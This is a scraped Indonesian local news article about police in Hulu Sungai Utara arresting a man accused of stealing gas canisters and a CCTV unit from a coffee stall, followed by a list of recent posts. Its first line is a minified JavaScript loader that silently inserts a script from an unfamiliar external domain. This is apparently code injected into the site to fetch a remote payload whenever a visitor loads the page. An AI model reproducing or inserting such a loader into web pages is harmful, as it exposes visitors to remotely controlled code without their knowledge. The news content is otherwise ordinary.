(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Bobol Kedai Kopi Curi Tabung Gas, AY Dibekuk Unit Jatanras Polres HSU


KANALKALIMANTAN.COM, AMUNTAI – Seorang pemuda AY (27) warga Desa Binjai Pamangkih, Kecamatan Labuan Amas Utara, Kabupaten Hulu Sungai Tengah (HST) diamankan Unit Jatanras Polres Hulu Sungai Utara (HSU), diduga sebagai pelaku tindak pencurian.

Pelaku diketahui membobol sebuah kedai kopi di Jalan Lambung Mangkurat, Desa Pelampitan Hilir, Kecamatan Amuntai Tengah, pada Sabtu (10/4/2021), sekitar pukul 03.00 Wita dini hari.

Kapolres HSU AKBP Afri Darmawan SIK MH melalui Kasat Resktim Iptu M Andi Patinasarani SH, kepada Kanalkalimantan.com, Kamis (15/4/2021) membenarkan penangkapan terhadap pelaku AY usai menerima laporan Ahmad Birhasani, si pemilik kedai kopi
Berdasarkan hasil penyelidikan, polisi berhasil melakukan penangkapan terhadap pelaku di sebuah rumah di Desa Nelayan RT 05, Kecamatan Sungai Tabukan, Kabupaten HSU, Rabu (14/4/2021) sekitar pukul 12.30 Wita.

 

Baca juga: Jembatan Alalak 1 Satu Arah dari Banjarmasin, Angkutan Barang Tak Diperbolehkan

Kasat Resktim menjelaskan, kejadian berawal ketika korban bersama saksi membuka pintu kedai kopi, melihat ruangan sudah berantakan. Termasuk semua tabung gas 3 Kg yang ada di dalam kedai kopi sudah tidak ada berada di tempatnya.

“Termasuk CCTV juga tidak ada di dalam kedai semua hilang, dan pada saat pelapor melihat ke dapur ternyata jendela di dapur terbuka lebar,” jelas Kasatreskrim Polres HSU.

Kemudian korban memberitahukan kepada ayahnya bahwa kedai kopi milik dibongkar berikut kehilangan semua barang yang ada di dalam kedai kopi.

Baca juga: Resmi Dibuka, Ini Jam Operasional Jembatan Alalak 1

Pemilik kedai kopi mengaku kehilangan 12 buah tabung gas 3 Kg dan 1 unit CCTV, dengan total kerugian sebanyak Rp 3 juta. Pemilik kemudian melaporkan kejadian tersebut ke Mapolres HSU.

Atas tindak Pidana Pencurian dengan pemberatan yang di maksud dalam pasal 363 KUHPidana tersebut, pelaku bersama barang bukti yakni sebuah Honda Scoopy dan lima tabung gas 3 Kg digelandang ke Polres HSU guna penyedikan lebih lanjut. (kanalkalimantan.com/dew)

Reporter : dew
Editor : kk


Al Ghifari

Recent Posts

Lahan 32 Hektare Ditanami Padi di Desa Tambalang Hilir, Ini Kata Bupati HSU Sahrujani

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Wakil Bupati Hero Setiawan,… Read More

7 menit ago

Pasar Murah Harjad ke-26 Kota Banjarbaru Ludes Tak Sampai Setengah Jam

KANALKALIMANTAN.COM, BANJARBARU - Momentum peringatan Hari Jadi (Harjad) ke-26 Kota Banjarbaru, warga Ibu Kota Provinsi… Read More

2 jam ago

Perayaan Dharmasanti Nyepi di Basarang, Bupati Kapuas: Pererat Persaudaraan di Tengah Keberagaman

KANALKALIMANTAN.COM, KUALA KAPUAS - Rangkaian perayaan Hari Raya Nyepi Tahun Baru Saka 1947 atau tahun… Read More

2 jam ago

SPMB di Banjarbaru Bulan Juni dari Zonasi ke Rayon

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru bersiap menghadapi periode tahapan pendaftaran SPMB (Sistem Penerimaan Murid Baru)… Read More

2 jam ago

Tim Sepakbola HSU Siap Berlaga di Kejurprov Kalsel 2025

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani melepas tim sepakbola HSU berlaga… Read More

5 jam ago

Bupati Kapuas Trail Adventure 3 Segera Hadir, Meriahkan Hari Jadi ke-219 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Para pecinta adventure dengan menggunakan motor trail boleh bergembira. Pasalnya, Kapuas… Read More

17 jam ago